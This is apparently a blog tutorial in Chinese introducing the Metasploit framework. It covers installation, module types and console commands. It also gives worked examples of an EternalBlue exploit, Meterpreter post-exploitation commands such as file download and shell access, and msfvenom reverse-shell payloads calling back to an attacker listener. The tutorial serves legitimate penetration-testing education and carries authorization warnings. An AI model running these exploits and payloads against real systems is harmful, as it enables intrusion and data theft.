Metasploit 滲透測試框架入門

A beginner's guide to Metasploit penetration testing framework for security professionals

Metasploit 簡介

Metasploit 是全球最知名的滲透測試框架之一,由 H.D. Moore 於 2003 年創建,目前由 Rapid7 公司維護。它提供了一個完整的滲透測試平台,整合了漏洞探測、攻擊載荷(Payload)生成、後滲透攻擊等功能,是資安專業人員進行安全評估的必備工具。

主要特點

  • 模組化架構:擁有大量的 Exploit、Payload、Auxiliary 等模組
  • 跨平台支援:可針對 Windows、Linux、macOS 等多種作業系統進行測試
  • 持續更新:社群活躍,漏洞利用模組持續更新
  • 可擴展性:支援使用 Ruby 語言開發自訂模組
  • 整合性:可與 Nmap、Nessus 等工具整合使用

版本比較

功能Framework(開源版)Pro(商業版)
漏洞利用模組
Payload 生成
命令列介面
圖形化介面
自動化報告
社交工程模組有限
技術支援社群官方

安裝與啟動

在 Kali Linux 上使用

Kali Linux 預設已安裝 Metasploit Framework,可以直接使用:

1
2
# 啟動 Metasploit 控制台
msfconsole

在 Ubuntu 上安裝

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# 更新系統套件
sudo apt update && sudo apt upgrade -y

# 安裝依賴套件
sudo apt install -y curl gnupg2

# 下載並執行安裝腳本
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# 初始化資料庫
sudo msfdb init

# 啟動 Metasploit
msfconsole

資料庫設定

Metasploit 使用 PostgreSQL 資料庫來儲存掃描結果和工作階段資訊:

1
2
3
4
5
6
7
8
# 啟動 PostgreSQL 服務
sudo systemctl start postgresql

# 初始化 Metasploit 資料庫
sudo msfdb init

# 檢查資料庫連線狀態(在 msfconsole 中)
db_status

首次啟動

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 啟動 msfconsole
msfconsole

# 您會看到類似以下的歡迎畫面
# =[ metasploit v6.x.x ]
# + -- --=[ xxxx exploits - xxxx auxiliary - xxxx post ]
# + -- --=[ xxx payloads - xx encoders - xx nops ]
# + -- --=[ x evasion ]

# 檢查資料庫連線
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

基本架構

Metasploit 的模組化架構是其核心優勢,了解各種模組類型對於有效使用至關重要。

模組類型

1. Exploits(漏洞利用模組)

用於利用目標系統中的已知漏洞。這是 Metasploit 最核心的模組類型。

1
2
3
4
5
# 查看可用的 Exploit 模組
msf6 > show exploits

# 搜尋特定 Exploit
msf6 > search type:exploit name:smb

2. Payloads(攻擊載荷)

Exploit 成功後在目標系統上執行的程式碼。常見類型包括:

  • Singles:獨立的單一 Payload,如 windows/exec
  • Stagers:建立連線通道的小型 Payload
  • Stages:透過 Stager 載入的完整功能 Payload
1
2
3
4
5
6
# 查看可用的 Payload
msf6 > show payloads

# 常用的 Meterpreter Payload
# windows/meterpreter/reverse_tcp
# linux/x64/meterpreter/reverse_tcp

3. Auxiliary(輔助模組)

用於資訊蒐集、掃描、模糊測試等不需要 Payload 的任務。

1
2
3
4
5
6
7
# 查看輔助模組
msf6 > show auxiliary

# 常用類別
# auxiliary/scanner/portscan  - 埠掃描
# auxiliary/scanner/smb       - SMB 掃描
# auxiliary/gather            - 資訊蒐集

4. Post(後滲透模組)

在成功入侵後用於進一步攻擊的模組,如提權、資料蒐集、橫向移動等。

1
2
3
4
5
6
# 查看後滲透模組
msf6 > show post

# 常用模組
# post/windows/gather/hashdump    - 提取密碼雜湊
# post/multi/recon/local_exploit_suggester - 提權建議

5. Encoders(編碼器)

用於對 Payload 進行編碼,以規避防毒軟體或 IDS 偵測。

1
2
# 查看編碼器
msf6 > show encoders

6. Nops(空操作模組)

用於維持 Payload 大小一致,提高攻擊穩定性。

目錄結構

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
/usr/share/metasploit-framework/
├── modules/           # 模組目錄
   ├── exploits/     # 漏洞利用模組
   ├── payloads/     # 攻擊載荷
   ├── auxiliary/    # 輔助模組
   ├── post/         # 後滲透模組
   ├── encoders/     # 編碼器
   └── nops/         # 空操作模組
├── scripts/          # 腳本檔案
├── tools/            # 工具程式
└── data/             # 資料檔案

常用指令

基本操作指令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# 取得幫助
msf6 > help

# 搜尋模組
msf6 > search [關鍵字]
msf6 > search type:exploit platform:windows smb

# 使用模組
msf6 > use [模組路徑]
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# 查看模組資訊
msf6 > info

# 返回上一層
msf6 > back

# 退出 Metasploit
msf6 > exit

模組設定指令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# 查看必要設定選項
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# 設定參數
msf6 exploit(...) > set RHOSTS 192.168.1.100
msf6 exploit(...) > set RPORT 445
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444

# 取消設定
msf6 exploit(...) > unset RHOSTS

# 設定全域變數
msf6 > setg LHOST 192.168.1.50

# 查看可用 Payload
msf6 exploit(...) > show payloads

# 設定 Payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

執行與管理指令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# 執行攻擊
msf6 exploit(...) > exploit
msf6 exploit(...) > run

# 背景執行
msf6 exploit(...) > exploit -j

# 查看工作階段
msf6 > sessions
msf6 > sessions -l

# 連接到指定工作階段
msf6 > sessions -i 1

# 終止工作階段
msf6 > sessions -k 1

資料庫相關指令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# 檢查資料庫狀態
msf6 > db_status

# 匯入 Nmap 掃描結果
msf6 > db_import /path/to/nmap_scan.xml

# 執行 Nmap 掃描並儲存結果
msf6 > db_nmap -sV -O 192.168.1.0/24

# 查看已知主機
msf6 > hosts

# 查看已發現的服務
msf6 > services

# 查看已發現的漏洞
msf6 > vulns

簡單使用範例

範例一:資訊蒐集 - SMB 版本掃描

這個範例展示如何使用輔助模組掃描網路中的 SMB 服務版本。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 啟動 msfconsole
msfconsole

# 搜尋 SMB 掃描模組
msf6 > search type:auxiliary smb_version

# 使用 SMB 版本掃描模組
msf6 > use auxiliary/scanner/smb/smb_version

# 查看設定選項
msf6 auxiliary(scanner/smb/smb_version) > show options

# 設定目標範圍
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24

# 設定執行緒數
msf6 auxiliary(...) > set THREADS 10

# 執行掃描
msf6 auxiliary(...) > run

# 結果範例:
# [*] 192.168.1.100:445 - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.0.2)
# [*] 192.168.1.101:445 - SMB Detected (versions:1) (preferred dialect:SMB 1)

範例二:埠掃描

使用 Metasploit 內建的 TCP 埠掃描功能。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 使用 TCP 埠掃描模組
msf6 > use auxiliary/scanner/portscan/tcp

# 設定目標
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.100

# 設定要掃描的埠範圍
msf6 auxiliary(...) > set PORTS 1-1000

# 執行掃描
msf6 auxiliary(...) > run

範例三:使用 Exploit 模組(模擬環境)

警告:以下範例僅供在授權的測試環境中使用。未經授權對他人系統進行滲透測試是違法行為。

此範例展示如何使用著名的 EternalBlue(MS17-010)漏洞利用模組:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 搜尋 EternalBlue 相關模組
msf6 > search eternalblue

# 使用 EternalBlue 模組
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# 查看模組資訊
msf6 exploit(windows/smb/ms17_010_eternalblue) > info

# 查看設定選項
msf6 exploit(...) > show options

# 設定目標 IP
msf6 exploit(...) > set RHOSTS 192.168.1.100

# 設定本機 IP(用於接收反向連線)
msf6 exploit(...) > set LHOST 192.168.1.50

# 設定 Payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 檢查目標是否易受攻擊
msf6 exploit(...) > check

# 執行攻擊
msf6 exploit(...) > exploit

範例四:Meterpreter 基本操作

成功取得 Meterpreter Shell 後的常用指令:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 取得系統資訊
meterpreter > sysinfo

# 取得當前使用者
meterpreter > getuid

# 查看目前程序
meterpreter > getpid

# 列出執行中的程序
meterpreter > ps

# 檔案系統操作
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download secret.txt /tmp/
meterpreter > upload /tmp/file.txt C:\\Users\\

# 取得 Shell
meterpreter > shell

# 擷取螢幕畫面
meterpreter > screenshot

# 背景執行 Meterpreter
meterpreter > background

# 結束工作階段
meterpreter > exit

範例五:產生獨立 Payload

使用 msfvenom 工具產生獨立的攻擊載荷:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# 產生 Windows 反向連線 Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=192.168.1.50 LPORT=4444 \
    -f exe -o payload.exe

# 產生 Linux 反向連線 Payload
msfvenom -p linux/x64/meterpreter/reverse_tcp \
    LHOST=192.168.1.50 LPORT=4444 \
    -f elf -o payload.elf

# 產生 PHP 反向連線 Payload
msfvenom -p php/meterpreter/reverse_tcp \
    LHOST=192.168.1.50 LPORT=4444 \
    -f raw -o shell.php

# 設定監聽器接收連線
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > exploit -j

安全提醒

使用 Metasploit 進行滲透測試時,請務必遵守以下原則:

  1. 取得授權:只在獲得明確書面授權的情況下進行測試
  2. 限定範圍:嚴格遵守測試範圍,不要超出授權範圍
  3. 保護資料:測試過程中獲取的資料應妥善保管並適時銷毀
  4. 記錄操作:詳細記錄所有測試步驟,便於撰寫報告和追蹤
  5. 最小影響:盡量減少對目標系統的影響,避免造成服務中斷

總結

Metasploit 是一個功能強大的滲透測試框架,本文介紹了:

  1. 簡介:Metasploit 的背景和主要特點
  2. 安裝與啟動:在不同系統上的安裝方式
  3. 基本架構:Exploit、Payload、Auxiliary 等模組類型
  4. 常用指令:搜尋、設定、執行等操作指令
  5. 使用範例:SMB 掃描、Exploit 使用、Meterpreter 操作

建議初學者先在合法的練習環境(如 Metasploitable、HackTheBox、TryHackMe)中練習,熟悉各種模組的使用方式後,再進行實際的安全評估工作。

參考資源

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy